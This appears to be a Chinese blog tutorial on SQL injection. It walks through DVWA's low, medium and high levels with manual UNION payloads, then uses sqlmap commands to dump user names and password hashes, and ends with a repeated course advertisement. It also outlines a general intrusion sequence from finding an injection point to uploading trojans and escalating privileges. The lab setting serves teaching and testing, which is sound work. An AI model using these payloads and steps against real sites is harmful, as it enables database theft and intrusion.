此方法是在页面没有显示位,但是echo mysql_error();函数输出了错误信息的时候方能使用。优点是注入速度快,缺点是语句较为复杂,而且只能用limit依次进行猜解。总体来说,报错注入其实是一种公式化的注入方法,主要用于在页面中没有显示位,但是用echo mysql_error();输出了错误信息时使用。
注入过程:
第一步:SQL注入点探测。探测SQL注入点是关键的一步,通过适当的分析应用程序,可以判断什么地方存在SQL注入点。通常只要带有输入提交的动态网页,并且动态网页访问数据库,就可能存在SQL注入漏洞。如果程序员信息安全意识不强,采用动态构造SQL语句访问数据库,并且对用户的输入未进行有效性验证,则存在SQL注入漏洞的可能性很大。一般通过页面的报错信息来确定是否存在SQL注入漏洞。
第二步:收集后台数据库信息。不同数据库的注入方法、函数都不尽相同,因此在注入之前,我们先要判断一下数据库的类型。判断数据库类型的方法很多,可以输入特殊字符,如单引号,让程序返回错误信息,我们根据错误信息提示进行判断;还可以使用特定函数来判断,比如输入“1 and version()>0”,程序返回正常,说明version()函数被数据库识别并执行,而version()函数是MySQL特有的函数,因此可以推断后台数据库为MySQL。
第三步:猜解用户名和密码。数据库中的表和字段命名一般都是有规律的。通过构造特殊SQL语句在数据库中依次猜解出表名、字段名、字段数、用户名和密码。
第四步:查找Web后台管理入口。WEB后台管理通常不对普通用户开放,要找到后台管理的登录网址,可以利用Web目录扫描工具(如:wwwscan、AWVS)快速搜索到可能的登录地址,然后逐一尝试,便可以找到后台管理平台的登录网址。
第五步:入侵和破坏。一般后台管理具有较高权限和较多的功能,使用前面已破译的用户名、密码成功登录后台管理平台后,就可以任意进行破坏,比如上传木马、篡改网页、修改和窃取信息等,还可以进一步提权,入侵Web服务器和数据库服务器。
2.实验演示
在DVWA页面左侧选择SQL Injection。
目标是通过SQL注入获取数据库中id1~5用户的密码。
2.1.low
DVWA Security设置为low,没有采用任何防御措施,SQL查询使用原始输入。
输入2,查看
判断注入点类型,输入
1’or 1=1 #
正常执行,说明是字符型注入。
判断数据库类型,
1' union select version(),@@version\_compile\_os#
正确执行,说明version()函数被数据库识别并执行,而version()函数是MariaDB(MySQL)特有的函数,因此可以推断后台数据库为MySQL,操作系统为linux。
猜解数据库名,输入
1' union select database(),user()#
获得数据库名dvwa。
获取表名,information_schema 是 mysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为tables的数据表,该表包含两个字段 table_name和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。
输入
1' union select table\_name,table\_schema from information\_schema.tables where table\_schema= 'dvwa'#
显示dvwa数据库有两张表guestbook、users。猜测users表示用户表。
获取users表列名
1' union select 1,column\_name from information\_schema.columns where table\_schema='dvwa' and table\_name='users' #
其中dvwa和users是上面猜解的数据库名和表名。
显示列名为,user_id,first_name,last_name,user,password,avatar,last_login,failed_login。依据user,password可以获取到用户名,密码。
获取用户名,密码,输入
1' union select user,password from users #
得到了用户名,和密码,密码被加密了。可以尝试进行解密,例如md5。
2.2.medium
DVWA Security设置为Medium,使用mysql_real_escape_string()防止sql注入,函数功能是转义下列字符:\x00、\n、\r、\、"、\x1a。
用户id只能选择
有两个输出数据。启动burp抓包。
burp抓到的包发生到repeater,把id=1修改为
id=1 and 3-1 #
发送。
判断是数值型注入。其他和low操作一样,只是SQL语句输入位置为在burp中修改id值,且不需要单引号。例如查询数据库类型为,把id=1修改为
id=1 union select version(),@@version\_compile\_os #
2.3.high
DVWA Security设置为High。这和low操作非常相似,但是这次攻击者以不同的方式输入值。输入值通过另一个页面的session变量传递给易受攻击的查询,而不是直接通过GET请求。
先点击第一个页面的here_to_change_your_ID,然后在显示的页面中输入要查询的id。
在页面中输入
1 ‘ and 1=1 #
显示正常,是字符型注入,其他和low一样,注入点在点击后显示的页面。如直接输入
1' union select user,password from users #
获得账号密码。
2.4.impossible
DVWA Security设置为Impossible Level。查询现在是参数化查询(而不是动态查询)。意味着查询由开发人员定义,并区分哪些部分是代码,其余部分是数据。目前无法破解。
3.sqlmap自动化注入
SQLMap 是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL 、Oracle 、PostgreSQL 、Microsoft SQL Server、Microsoft Access 、IBM DB2, SQ Lite 、Firebird 、Sybase和SAPMaxDB 。
3.1.low
启动burp抓包
使用burp抓到的cookie
启动kali终端输入、运行
sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=rcs60b05f67h1qk27rm2tn1l8f; security=low"
其中URL从输入1后从浏览器复制,cookie抓包后提取。
一直输入y。显示存在注入点
在以上命令后添加 --dbs获取所有数据库名,–batch默认输入y,kali终端运行
sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=rcs60b05f67h1qk27rm2tn1l8f; security=low" --dbs --batch
获得存在数据库名dvwa,information_schema
在命令后添加–current-db,获得当前数据库名称。运行
sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=rcs60b05f67h1qk27rm2tn1l8f; security=low" --current-db --batch
获得当前数据库名为dvwa。
在命令后添加-D dvwa --tables 获取dvwa数据库中的表名。
sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=rcs60b05f67h1qk27rm2tn1l8f; security=low" -D dvwa --tables --batch
获得dvwa数据库中的表名guestbook,users
在命令后添加-T users --columns获取users表中的列名。
sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=rcs60b05f67h1qk27rm2tn1l8f; security=low" -D dvwa -T users --columns --batch
成功获得列名。在使用-C user,password,user_id --dump,显示用户id,名称,密码,且会自动解密,保存到本地文件中。解密需要一定时间。
sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=rcs60b05f67h1qk27rm2tn1l8f; security=low" -D dvwa -T users -C user,password,user_id --dump
3.2.medium
启动burp抓包
复制抓取到的内容,放入新建文件,1.txt。
kali中运行
sqlmap -r "1.txt" --batch
接下来的步骤,与low一样。
3.3.high
注入点在第二个页面,是跨页的情况。
启动burp抓包,内容放入新建文件2.txt。注意抓到的包是第二个页面点击submit后抓到的包。
kali运行
sqlmap -r “2.txt” --batch --second-ur "http://127.0.0.1/DVWA/vulnerabilities/sqli/"
后面url是第一个页面的链接。
接下来和low一样,例如运行以后命令获得数据库名
sqlmap -r “2.txt” --batch --second-url "http://127.0.0.1/DVWA/vulnerabilities/sqli/session-input.php"
## 最后
**自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。**
**深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!**
**因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。**
![img](https://img-blog.csdnimg.cn/img_convert/72dd350866c74b9e35dd72e834c82f60.png)
![img](https://img-blog.csdnimg.cn/img_convert/568928231b36ab41ef857d584059ec18.png)
![img](https://img-blog.csdnimg.cn/img_convert/cd77fac23d38bd66a7f24623dd585706.png)
![img](https://img-blog.csdnimg.cn/img_convert/41f286596f0fd2497856abd586050282.png)
![img](https://img-blog.csdnimg.cn/img_convert/16c360add7d3c266add0ac2faf5378d6.png)
**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!**
[**如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!**](https://bbs.csdn.net/topics/618653875)
**由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!**
fPdOqIK-1715845470793)]
[外链图片转存中...(img-SiP21dOR-1715845470793)]
[外链图片转存中...(img-3zMDcs1h-1715845470793)]
**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!**
[**如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!**](https://bbs.csdn.net/topics/618653875)
**由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!**